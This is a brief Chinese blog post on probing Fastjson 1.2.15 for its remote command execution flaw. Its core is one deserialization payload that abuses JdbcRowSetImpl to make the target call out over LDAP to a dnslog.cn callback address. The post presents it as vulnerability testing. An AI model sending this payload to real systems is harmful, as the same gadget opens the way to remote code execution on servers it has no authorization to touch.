利用DNSLOG测试Fastjson远程命令执行漏洞

逆向小白

发布于 2020-08-05 15:14:22

2.7K0

发布于 2020-08-05 15:14:22

文章被收录于专栏：py+seleniumpy+selenium

　　由于内容比较简单，我直接贴图，怕我自己忘了。

测试Fastjson版本号：1.2.15

　　直接发送用burpsuite发送payload，将dataSourceName改成dnslog获取到的域名。

　　payload：
{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://6v0jfv.dnslog.cn
",
        "autoCommit":true
    }
}